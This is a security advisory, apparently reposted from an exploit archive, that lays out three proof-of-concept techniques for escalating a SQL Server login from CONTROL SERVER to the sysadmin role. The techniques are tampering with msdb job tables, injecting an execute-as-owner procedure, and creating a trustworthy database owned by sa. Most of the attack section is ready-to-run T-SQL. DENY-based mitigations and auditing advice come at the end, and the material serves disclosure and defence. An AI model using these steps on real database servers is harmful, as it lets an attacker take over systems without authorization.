Exploit for Microsoft SQL Server Privilege Escalation

## https://sploitus.com/exploit?id=PACKETSTORM:189090
Title: Microsoft SQL Server Privilege Escalation from Control Server To Sysadmin role
    Product:                   Microsoft SQL Server
    Affected Version(s):       sql server 2016,2017,2019,2022
    Risk Level:                Medium
    Author of Advisory:        Emad Al-Mousa
    
    Overview:
    
    Privilege escalation is one of the most common exploit techniques hackers use to abuse and take over critical systems, database systems are very important to be protected against
    such attacks.
    
    
    *****************************************
    Exploit Summary Details:
    
    3 novel techniques exploits can be used to abuse control server permission in SQL Server to escalate/elevate to SYSADMIN role. control server permission is powerful permission yet not at
    the same level of SYSADMIN role.
    
    *****************************************
    Proof of Concept (PoC):
    
    Exploit Technique 1: Direct Modification into MSDB database tables
    
    
    As an account with CONTROL SERVER ROLE….you can add the login as database user at MSDB level but can’t grant any database role directly to it:
    
    USE [msdb]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    After database user account creation successfully completed, I will try to add it to db_owner role:
    
    USE [msdb]
    
    GO
    
    ALTER ROLE [db_owner] ADD MEMBER [rico]
    
    GO
    
    The following error will be thrown:
    
    Msg 15151, Level 16, State 1, Line 3
    
    Cannot alter the role ‘db_owner’, because it does not exist or you do not have permission.
    
    However I still can elevate to SYSADMIN Role through direct system tables modification in MSDB database:
    
    
    For the sake of a proof of concept I will create a dummy job in SQL Server Instance and call it “Test” using the below code:
    
    USE [msdb]
    
    GO
    
    BEGIN TRANSACTION
    
    DECLARE @ReturnCode INT
    
    SELECT @ReturnCode = 0
    
    IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]’ AND category_class=1)
    
    BEGIN
    
    EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N’JOB’, @type=N’LOCAL’, @name=N'[Uncategorized (Local)]’
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    END
    
    DECLARE @jobId BINARY(16)
    
    EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N’Test’, 
    
    @enabled=1, 
    
    @notify_level_eventlog=0, 
    
    @notify_level_email=0, 
    
    @notify_level_netsend=0, 
    
    @notify_level_page=0, 
    
    @delete_level=0, 
    
    @description=N’No description available.’, 
    
    @category_name=N'[Uncategorized (Local)]’, 
    
    @owner_login_name=N’sa’, @job_id = @jobId OUTPUT
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N’elevate_me’, 
    
    @step_id=1, 
    
    @cmdexec_success_code=0, 
    
    @on_success_action=1, 
    
    @on_success_step_id=0, 
    
    @on_fail_action=2, 
    
    @on_fail_step_id=0, 
    
    @retry_attempts=0, 
    
    @retry_interval=0, 
    
    @os_run_priority=0, @subsystem=N’TSQL’, 
    
    @command=N’XXXXXXXXXXXXXXXXXXXXXX’, 
    
    @database_name=N’master’, 
    
    @flags=0
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N’run’, 
    
    @enabled=1, 
    
    @freq_type=4, 
    
    @freq_interval=1, 
    
    @freq_subday_type=2, 
    
    @freq_subday_interval=10, 
    
    @freq_relative_interval=0, 
    
    @freq_recurrence_factor=0, 
    
    @active_start_date=20231015, 
    
    @active_end_date=99991231, 
    
    @active_start_time=0, 
    
    @active_end_time=235959, 
    
    @schedule_uid=N’6986b644-3356-4750-a140-00193274d23d’
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)’
    
    IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
    
    COMMIT TRANSACTION
    
    GOTO EndSave
    
    QuitWithRollback:
    
        IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
    
    EndSave:
    
    GO
    
    // I will be able to query the list of Jobs
    
    select * from [msdb].[dbo].[sysjobs];
    
    //I will change the ownership of the job Test to be “sa” account using the below update statement
    
    update [msdb].[dbo].[sysjobs] set owner_sid=0x01 where name='Test';
    
    // I will retrieve information about job Test using job_id value
    
    SELECT * FROM [msdb].[dbo].[sysjobsteps] where job_id=’A4592896-4688-4DCC-B63E-813BE71A7EDD’;
    
    // I will update the code of the job step to elevate/escalate permission
    
    update [msdb].[dbo].[sysjobsteps] set command='ALTER SERVER ROLE [sysadmin] ADD MEMBER [rico] ' where job_id='29027CCB-EA4E-4ADA-B175-F2BF534FE30E';
    
    
    And that’s it….account “rico” will be escalated to SYSADMIN role in the next scheduled time for the job “Test”.
    
    
    
    
    Exploit Technique 2: Code Injection In MSDB database to exploit trustworthy property
    
    
    
    USE [msdb]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    USE [msdb]
    
    GO
    
    create or alter procedure dbo.elevate_me
    
    with execute as owner
    
    as alter server role sysadmin add member rico;
    
    GO
    
    USE [msdb]
    
    GO
    
    exec dbo.elevate_me;
    
    And that’s it[refresh your connection]…database login rico is now elevated from CONTROL SERVER to SYSADMIN role.
    
    
    
    Exploit Technique 3: DB Creation with Trustworthy Property
    
    
    As login rico I will create a database and set trustworthy of the database to “on” and add the login as database user to escalate to sysadmin role as it will be presented here:
    
    create database TEST55;
    
    ALTER DATABASE TEST55 SET TRUSTWORTHY ON;
    
    USE [TEST55]
    
    GO
    
    ALTER AUTHORIZATION ON DATABASE::[TEST55] TO [sa]
    
    GO
    
    USE [TEST55]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    USE [TEST55]
    
    GO
    
    create or alter procedure dbo.elevate_me
    
    with execute as owner
    
    as alter server role sysadmin add member rico;
    
    GO
    
    USE [TEST55]
    
    GO
    
    exec dbo.elevate_me;
    
    And that’s it…database login rico is now elevated from CONTROL SERVER to SYSADMIN role.
    
    
    ********************************************************************************************************************************
    
    Can these exploits be blocked if there is a need to have an account with control server permission and restrict it from being abused for privilege escalation ?
    
    Answer: Yes.
    
    
    Exploit techniques 2 and 3 can be blocked if the following permissions were “denied” from the login with CONTROL SERVER securable.
    
    use [master]
    
    GO
    
    DENY ALTER ANY DATABASE TO [rico]
    
    GO
    
    use [master]
    
    GO
    
    DENY CREATE ANY DATABASE TO [rico]
    
    GO
    
    use [master]
    
    GO
    
    DENY IMPERSONATE ANY LOGIN TO [rico]
    
    GO
    
    Exploit technique 1 can be blocked when denying it permissions at MSDB database user level:
    
    USE [msdb]
    
    GO
    
    CREATE USER [rico] FOR LOGIN [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY ALTER TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY DELETE TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY EXECUTE TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY INSERT TO [rico]
    
    GO
    
    use [msdb]
    
    GO
    
    DENY UPDATE TO [rico]
    
    GO
    
    
    
    
    Conclusions:
    
    - Control server is powerful securable but not at the same level of sysadmin role [ can’t execute certain procedures, can’t execute DBCC commands, and can’t view or have direct interface with agent jobs].
    
    - The presented exploits shows weaknesses that should be prevented in the first place. The idea of having/granting a securable to a sql server login and this login can easily escalate to “SYSADMIN” role is not acceptable from security design perspective and is a big security hole that requires serious review. Any database role should be confined with limited scope of power so attackers can’t abuse it.
    
    - Auditing is always the best approach to detect privilege escalation attacks.
    
    
    
    
    
    *****************************************
    References:
    https://databasesecurityninja.wordpress.com/2025/02/07/privilege-escalation-from-control-server-to-sysadmin-role/
    https://learn.microsoft.com/en-us/sql/ssms/agent/implement-sql-server-agent-security?view=sql-server-ver16
    https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver16